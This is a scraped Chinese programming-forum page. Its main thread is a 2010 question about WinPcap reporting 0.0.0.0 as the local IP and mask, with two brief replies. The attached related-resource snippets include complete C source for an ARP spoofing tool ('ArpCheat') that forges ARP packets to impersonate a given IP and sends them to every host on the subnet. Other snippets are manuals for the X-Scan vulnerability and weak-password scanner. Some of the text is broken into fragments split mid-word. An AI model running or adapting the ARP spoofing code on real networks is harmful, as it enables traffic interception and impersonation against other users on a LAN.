社区
工具平台和程序库
帖子详情
WinPcap获得本机IP和掩码的问题
chinarobert
2010-07-22 04:40:32
请教各位仁兄,为什么我用WinPcap获得本机IP和掩码得到的都是0.0.0.0,调用pcap_lookupdev函数得到的网络接口是“\”,我把程序拷到另一个人的电脑中(我们两个在一个局域网内),就可以正常显示,所以应该不是程序自身的问题,谁知道怎么回事啊?
PS:我用的是静态IP上网,不是自动获得的
...全文
127
2
打赏
收藏
WinPcap获得本机IP和掩码的问题
请教各位仁兄,为什么我用WinPcap获得本机IP和掩码得到的都是0.0.0.0,调用pcap_lookupdev函数得到的网络接口是“\”,我把程序拷到另一个人的电脑中(我们两个在一个局域网内),就可以正常显示,所以应该不是程序自身的问题,谁知道怎么回事啊? PS:我用的是静态IP上网,不是自动获得的
复制链接
扫一扫
分享
转发到动态
举报
写回复
配置赞助广告
用AI写文章
2 条
回复
切换为时间正序
请发表友善的回复…
发表回复
打赏红包
cpp_crab
2010-07-26
打赏
举报
回复
是不是装了虚拟机或者有vpn拨号之类的?
数据结构与算法学习、智能算法
2010-07-22
打赏
举报
回复
先记住以下
Win
Pcap
和Sim-EKB-Install.rar
搭建虚拟的S7通信仿真环境是本文最主要的部分①设置仿真实例的在线访问方式,有两种:“PLCSIM”使用本地总线访问CPU实例(仅能在同一台电脑内部使用),“PLCSIM Virtual Eth. Adapter”是通过虚拟网卡,以TCP/
IP
协议的方式访问CPU实例。使用后者必须在安装软件时勾选N
PCap
(4.0版本使用,早期使用
Win
PCap
); ②用来设置TCP/
IP
的通信方式,有本地和以太网两种。如果是在两台电脑之间实现仿真,需选择<以太网>; ③调整虚拟时间:通过调整该参数,可防止仿真实例因扫描周期超时而停机; ④严格的运动时间。当勾选时,将对运动控制组织块(Motion OB)缓冲区溢出进行检测,运动控制器伺服时钟与PLC周期同步,确保与硬件PLC类似的功能;若不勾选,则不检测缓冲区溢出。这种情况下仿真实例不会因缓冲区溢出而切换到停机状态,可提高仿真性能,但可能不精确; ⑤创建S7-1500仿真实例:包括实例的名称、
IP
地址、子网
掩码
、网关及CPU的型号(如下图)。当创建完成后,下次使用时,无需再次输入; ⑥PLC实例运行状态区; ⑦辅助功能区,其中“虚拟SMC卡”可打开文件
黑客反向工程
//ArpCheat.h #ifndef MY_ARP_CHEAT_INCLUDE_H #define MY_ARP_CHEAT_INCLUDE_H //字节对齐必须是1 #pragma pack (1) struct ethernet_head { unsigned char dest_mac[6]; //目标主机MAC地址 unsigned char source_mac[6]; //源端MAC地址 unsigned short eh_type; //以太网类型 }; struct arp_head { unsigned short hardware_type; //硬件类型:以太网接口类型为1 unsigned short protocol_type; //协议类型:
IP
协议类型为0X0800 unsigned char add_len; //硬件地址长度:MAC地址长度为6B unsigned char pro_len; //协议地址长度:
IP
地址长度为4B unsigned short option; //操作:ARP请求为1,ARP应答为2 unsigned char sour_addr[6]; //源MAC地址:发送方的MAC地址 unsigned long sour_
ip
; //源
IP
地址:发送方的
IP
地址 unsigned char dest_addr[6]; //目的MAC地址:ARP请求中该字段没有意义;ARP响应中为接收方的MAC地址 unsigned long dest_
ip
; //目的
IP
地址:ARP请求中为请求解析的
IP
地址;ARP响应中为接收方的
IP
地址 unsigned char padding[18]; }; struct arp_packet //最终arp包结构 { ethernet_head eth; //以太网头部 arp_head arp; //arp数据包头部 }; #pragma pack () /** *
获得
网卡的MAC地址 * pDevName 网卡的设备名称 */ unsigned char* GetSelfMac(char* pDevName); /** * 封装ARP请求包 * source_mac 源MAC地址 * src
IP
源
IP
* dest
IP
目的
IP
*/ unsigned char* BuildArpPacket(unsigned char* source_mac, unsigned long src
IP
, unsigned long dest
IP
); #endif //ArpCheat.cpp #include
#include <
pcap
.h> #include
#include
#include
#include "ArpCheat.h" int main(int argc,char* argv[]){
pcap
_if_t *alldevs; //全部网卡列表
pcap
_if_t *d; //一个网卡 int inum; //用户选择的网卡序号 int i=0; //循环变量
pcap
_t *adhandle; //一个
pcap
实例 char errbuf[
PCAP
_ERRBUF_SIZE]; //错误缓冲区 unsigned char *mac; //
本机
MAC地址 unsigned char *packet; //ARP包 unsigned long fake
Ip
; //要伪装成的
IP
地址
pcap
_addr_t *pAddr; //网卡地址 unsigned long
ip
; //
IP
地址 unsigned long netmask; //子网
掩码
if(argc!=2){ printf("Usage: %s inet_addr\n",argv[0]); return -1; } //从参数列表
获得
要伪装的
IP
地址 fake
Ip
= inet_addr(argv[1]); if(INADDR_NONE==fake
Ip
){ fprintf(stderr,"Invalid
IP
: %s\n",argv[1]); return -1; } /*
获得
本机
网卡列表 */ if (
pcap
_findalldevs_ex(
PCAP
_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1) { fprintf(stderr,"Error in
pcap
_findalldevs: %s\n", errbuf); exit(1); } /* 打印网卡列表 */ for(d=alldevs; d; d=d->next) { printf("%d", ++i); if (d->descr
ip
tion) printf(". %s\n", d->descr
ip
tion); else printf(". No descr
ip
tion available\n"); } //如果没有发现网卡 if(i==0) { printf("\nNo interfaces found! Make sure
Win
Pcap
is installed.\n"); return -1; } //请用户选择一个网卡 printf("Enter the interface number (1-%d):",i); scanf("%d", &inum); //如果用户选择的网卡序号超出有效范围,则退出 if(inum < 1 || inum > i) { printf("\nInterface number out of range.\n"); /* Free the device list */
pcap
_freealldevs(alldevs); return -1; } /* 移动指针到用户选择的网卡 */ for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++); mac = GetSelfMac(d->name+8); //+8以去掉"r
pcap
://" printf("发送ARP欺骗包,
本机
(%.2X-%.2X-%.2X-%.2X-%.2X-%.2X) 试图伪装成%s\n", mac[0],mac[1],mac[2],mac[3],mac[4],mac[5],argv[1]); /* 打开网卡 */ if ( (adhandle=
pcap
_open(d->name, // name of the device 65536, // portion of the packet to capture 0, //open flag 1000, // read timeout NULL, // authentication on the remote machine errbuf // error buffer ) ) == NULL) { fprintf(stderr,"\nUnable to open the adapter. %s is not supported by
Win
Pcap
\n", d->name); /* Free the device list */
pcap
_freealldevs(alldevs); return -1; } for(pAddr=d->addresses; pAddr; pAddr=pAddr->next){ //得到用户选择的网卡的一个
IP
地址
ip
= ((struct sockaddr_in *)pAddr->addr)->sin_addr.s_addr; //得到该
IP
地址对应的子网
掩码
netmask = ((struct sockaddr_in *)(pAddr->netmask))->sin_addr.S_un.S_addr; if (!
ip
|| !netmask){ continue; } //看看这个
IP
和要伪装的
IP
是否在同一个子网 if((
ip
&netmask)!=(fake
Ip
&netmask)){ continue; //如果不在一个子网,继续遍历地址列表 } unsigned long netsize = ntohl(~netmask); //网络中主机数 unsigned long net =
ip
& netmask; //子网地址 for(unsigned long n=1; n
IP地址,网络字节顺序 unsigned long dest
Ip
= net | htonl(n); //构建假的ARP请求包,达到
本机
伪装成给定的
IP
地址的目的 packet = BuildArpPacket(mac,fake
Ip
,dest
Ip
); if(
pcap
_sendpacket(adhandle, packet, 60)==-1){ fprintf(stderr,"
pcap
_sendpacket error.\n"); } } } return 0; } /** *
获得
网卡的MAC地址 * pDevName 网卡的设备名称 */ unsigned char* GetSelfMac(char* pDevName){ static u_char mac[6]; memset(mac,0,sizeof(mac)); LPADAPTER lpAdapter = PacketOpenAdapter(pDevName); if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) { return NULL; } PPACKET_OID_DATA OidData = (PPACKET_OID_DATA)malloc(6 + sizeof(PACKET_OID_DATA)); if (OidData == NULL) { PacketCloseAdapter(lpAdapter); return NULL; } // // Retrieve the adapter MAC querying the NIC driver // OidData->Oid = OID_802_3_CURRENT_ADDRESS; OidData->Length = 6; memset(OidData->Data, 0, 6); BOOLEAN Status = PacketRequest(lpAdapter, FALSE, OidData); if(Status) { memcpy(mac,(u_char*)(OidData->Data),6); } free(OidData); PacketCloseAdapter(lpAdapter); return mac; } /** * 封装ARP请求包 * source_mac 源MAC地址 * src
IP
源
IP
* dest
IP
目的
IP
*/ unsigned char* BuildArpPacket(unsigned char* source_mac, unsigned long src
IP
,unsigned long dest
IP
) { static struct arp_packet packet; //目的MAC地址为广播地址,FF-FF-FF-FF-FF-FF memset(packet.eth.dest_mac,0xFF,6); //源MAC地址 memcpy(packet.eth.source_mac,source_mac,6); //上层协议为ARP协议,0x0806 packet.eth.eh_type = htons(0x0806); //硬件类型,Ethernet是0x0001 packet.arp.hardware_type = htons(0x0001); //上层协议类型,
IP
为0x0800 packet.arp.protocol_type = htons(0x0800); //硬件地址长度:MAC地址长度为0x06 packet.arp.add_len = 0x06; //协议地址长度:
IP
地址长度为0x04 packet.arp.pro_len = 0x04; //操作:ARP请求为1 packet.arp.option = htons(0x0001); //源MAC地址 memcpy(packet.arp.sour_addr,source_mac,6); //源
IP
地址 packet.arp.sour_
ip
= src
IP
; //目的MAC地址,填充0 memset(packet.arp.dest_addr,0,6); //目的
IP
地址 packet.arp.dest_
ip
= dest
IP
; //填充数据,18B memset(packet.arp.padding,0,18); return (unsigned char*)&packet; } VC++ 6.0 中使用
Win
Pcap
下载并安装
Win
Pcap
,安装之后在目录”C:\
WIN
DOWS\system32“下
Win
Pcap
添加了Packet.dll、w
pcap
.dll。 增加
Win
Pcap
的include和lib路径: Tools→Options→Directories,其中include文件的路径增加
Win
Pcap
的include路径(其中有
pcap
.h等头文件),library文件的路径增加
Win
Pcap
的lib路径(其中有Packet.lib和w
pcap
.lib)。 增加项目的静态链接库: Project→Settings→Link→Object/library Modules,在文本框的末尾添加”w
pcap
.lib packet.lib ws2_32.lib“。 增加预编译信息: Project→Settings→C/C++→Preprocessor definitions,在文本框的末尾添加”W
PCAP
,HAVE_REMOTE“。
x-scan 3.3完整中文版
采用多线程方式对指定
IP
地址段(或单机)进行安全漏洞检测,支持插件功能。扫描内容包括:远程服务类型、操作系统类型及版本,各种弱口令漏洞、后门、应用服务漏洞、网络设备漏洞、拒绝服务漏洞等二十几个大类。 “检测范围”模块: “指定
IP
范围” - 可以输入独立
IP
地址或域名,也可输入以“-”和“,”分隔的
IP
范围,如“192.168.0.1-20,192.168.1.10-192.168.1.254”,或类似“192.168.100.1/24”的
掩码
格式。 “从文件中获取主机列表” - 选中该复选框将从文件中读取待检测主机地址,文件格式应为纯文本,每一行可包含独立
IP
或域名,也可包含
X-Scan-v3.2
X-Scan-v3.2 使用说明 一. 系统要求:
Win
dows NT/2000/XP/2003 理论上可运行于
Win
dows NT系列操作系统,推荐运行于
Win
dows 2000以上的Server版
Win
dows系统。 二. 功能简介: 采用多线程方式对指定
IP
地址段(或单机)进行安全漏洞检测,支持插件功能。扫描内容包括:远程服务类型、操作系统类型及版本,各种弱口令漏洞、后门、应用服务漏洞、网络设备漏洞、拒绝服务漏洞等二十几个大类。对于多数已知漏洞,我们给出了相应的漏洞描述、解决方案及详细描述链接,其它漏洞资料正在进一步整理完善中,您也可以通过本站的“安全文摘”和“安全漏洞”栏目查阅相关说明。 3.0及后续版本提供了简单的插件开发包,便于有编程基础的朋友自己编写或将其他调试通过的代码修改为X-Scan插件。另外Nessus攻击脚本的翻译工作已经开始,欢迎所有对网络安全感兴趣的朋友参与。需要“Nessus攻击脚本引擎”源代码、X-Scan插件SDK、示例插件源代码或愿意参与脚本翻译工作的朋友,可通过本站“X-Scan”项目链接获取详细资料:“http://www.xfocus.net/projects/X-Scan/index.html”。 三. 所需文件: xscan_gui.exe -- X-Scan图形界面主程序 checkhost.dat -- 插件调度主程序 update.exe -- 在线升级主程序 *.dll -- 主程序所需动态链接库 使用说明.txt -- X-Scan使用说明 /dat/language.ini -- 多语言配置文件,可通过设置“LANGUAGE\SELECTED”项进行语言切换 /dat/language.* -- 多语言数据文件 /dat/config.ini -- 当前配置文件,用于保存当前使用的所有设置 /dat/*.cfg -- 用户自定义配置文件 /dat/*.dic -- 用户名/密码字典文件,用于检测弱口令用户 /plugins -- 用于存放所有插件(后缀名为.xpn) /scr
ip
ts -- 用于存放所有NASL脚本(后缀名为.nasl) /scr
ip
ts/desc -- 用于存放所有NASL脚本多语言描述(后缀名为.desc) /scr
ip
ts/cache -- 用于缓存所有NASL脚本信息,以便加快扫描速度(该目录可删除) 四. 准备工作: X-Scan是完全免费软件,无需注册,无需安装(解压缩即可运行,自动检查并安装
Win
PCap
驱动程序)。若已经安装的
Win
PCap
驱动程序版本不正确,请通过主窗口菜单的“工具”->“Install
Win
PCap
”重新安装“
Win
PCap
3.1 beta4”或另行安装更高版本。 五. 图形界面设置项说明: “检测范围”模块: “指定
IP
范围” - 可以输入独立
IP
地址或域名,也可输入以“-”和“,”分隔的
IP
范围,如“192.168.0.1-20,192.168.1.10-192.168.1.254”,或类似“192.168.100.1/24”的
掩码
格式。 “从文件中获取主机列表” - 选中该复选框将从文件中读取待检测主机地址,文件格式应为纯文本,每一行可包含独立
IP
或域名,也可包含以“-”和“,”分隔的
IP
范围。 “全局设置”模块: “扫描模块”项 - 选择本次扫描需要加载的插件。 “并发扫描”项 - 设置并发扫描的主机和并发线程数,也可以单独为每个主机的各个插件设置最大线程数。 “网络设置”项 - 设置适合的网络适配器,若找不到网络适配器,请重新安装
Win
PCap
3.1 beta4以上版本驱动。 “扫描报告”项 - 扫描结束后生成的报告文件名,保存在LOG目录下。扫描报告目前支持TXT、HTML和XML三种格式。
X-Scan-v3.3-cn
X-Scan-v3.3 使用说明 一. 系统要求:
Win
dows NT/2000/XP/2003 理论上可运行于
Win
dows NT系列操作系统,推荐运行于
Win
dows 2000以上的Server版
Win
dows系统。 二. 功能简介: 采用多线程方式对指定
IP
地址段(或单机)进行安全漏洞检测,支持插件功能。扫描内容包括:远程服务类型、操作系统类型及版本,各种弱口令漏洞、后门、应用服务漏洞、网络设备漏洞、拒绝服务漏洞等二十几个大类。对于多数已知漏洞,我们给出了相应的漏洞描述、解决方案及详细描述链接,其它漏洞资料正在进一步整理完善中,您也可以通过本站的“安全文摘”和“安全漏洞”栏目查阅相关说明。 3.0及后续版本提供了简单的插件开发包,便于有编程基础的朋友自己编写或将其他调试通过的代码修改为X-Scan插件。另外Nessus攻击脚本的翻译工作已经开始,欢迎所有对网络安全感兴趣的朋友参与。需要“Nessus攻击脚本引擎”源代码、X-Scan插件SDK、示例插件源代码或愿意参与脚本翻译工作的朋友,可通过本站“X-Scan”项目链接获取详细资料:“http://www.xfocus.net/projects/X-Scan/index.html”。 三. 所需文件: xscan_gui.exe -- X-Scan图形界面主程序 checkhost.dat -- 插件调度主程序 update.exe -- 在线升级主程序 *.dll -- 主程序所需动态链接库 使用说明.txt -- X-Scan使用说明 /dat/language.ini -- 多语言配置文件,可通过设置“LANGUAGE\SELECTED”项进行语言切换 /dat/language.* -- 多语言数据文件 /dat/config.ini -- 当前配置文件,用于保存当前使用的所有设置 /dat/*.cfg -- 用户自定义配置文件 /dat/*.dic -- 用户名/密码字典文件,用于检测弱口令用户 /plugins -- 用于存放所有插件(后缀名为.xpn) /scr
ip
ts -- 用于存放所有NASL脚本(后缀名为.nasl) /scr
ip
ts/desc -- 用于存放所有NASL脚本多语言描述(后缀名为.desc) /scr
ip
ts/cache -- 用于缓存所有NASL脚本信息,以便加快扫描速度(该目录可删除) 四. 准备工作: X-Scan是完全免费软件,无需注册,无需安装(解压缩即可运行,自动检查并安装
Win
PCap
驱动程序)。若已经安装的
Win
PCap
驱动程序版本不正确,请通过主窗口菜单的“工具”->“Install
Win
PCap
”重新安装“
Win
PCap
3.1 beta4”或另行安装更高版本。 五. 图形界面设置项说明: “检测范围”模块: “指定
IP
范围” - 可以输入独立
IP
地址或域名,也可输入以“-”和“,”分隔的
IP
范围,如“192.168.0.1-20,192.168.1.10-192.168.1.254”,或类似“192.168.100.1/24”的
掩码
格式。 “从文件中获取主机列表” - 选中该复选框将从文件中读取待检测主机地址,文件格式应为纯文本,每一行可包含独立
IP
或域名,也可包含以“-”和“,”分隔的
IP
范围。 “全局设置”模块: “扫描模块”项 - 选择本次扫描需要加载的插件。 “并发扫描”项 - 设置并发扫描的主机和并发线程数,也可以单独为每个主机的各个插件设置最大线程数。 “网络设置”项 - 设置适合的网络适配器,若找不到网络适配器,请重新安装
Win
PCap
3.1 beta4以上版本驱动。 “扫描报告”项 - 扫描结束后生成的报告文件名,保存在LOG目录下。扫描报告目前支持TXT、HTML和XML三种格式。 “其他设置”项: “跳过没有响应的主机” - 若目标主机不响应ICMP ECHO及TCP SYN报文,X-Scan将跳过对该主机的检测。 “无条件扫描” - 如标题所述 “跳过没有检测到开放端口的主机” - 若在用户指定的TCP端口范围内没有发现开放端口,将跳过对该主机的后续检测。 “使用NMAP判断远程操作系统” - X-Scan使用SNMP、NETBIOS和NMAP综合判断远程操作系统类型,若NMAP频繁出错,可关闭该选项。 “显示详细信息” - 主要用于调试,平时不推荐使用该选项。 “插件设置”模块: 该模块包含针对各个插件的单独设置,如“端口扫描”插件的端口范围设置、各弱口令插件的用户名/密码字典设置等。
工具平台和程序库
24,855
社区成员
27,343
社区内容
发帖
与我相关
我的任务
工具平台和程序库
C/C++ 工具平台和程序库
复制链接
扫一扫
分享
社区描述
C/C++ 工具平台和程序库
社区管理员
加入社区
获取链接或二维码
近7日
近30日
至今
加载中
查看更多榜单
社区公告
暂无公告
试试用AI创作助手写篇文章吧
+ 用AI写文章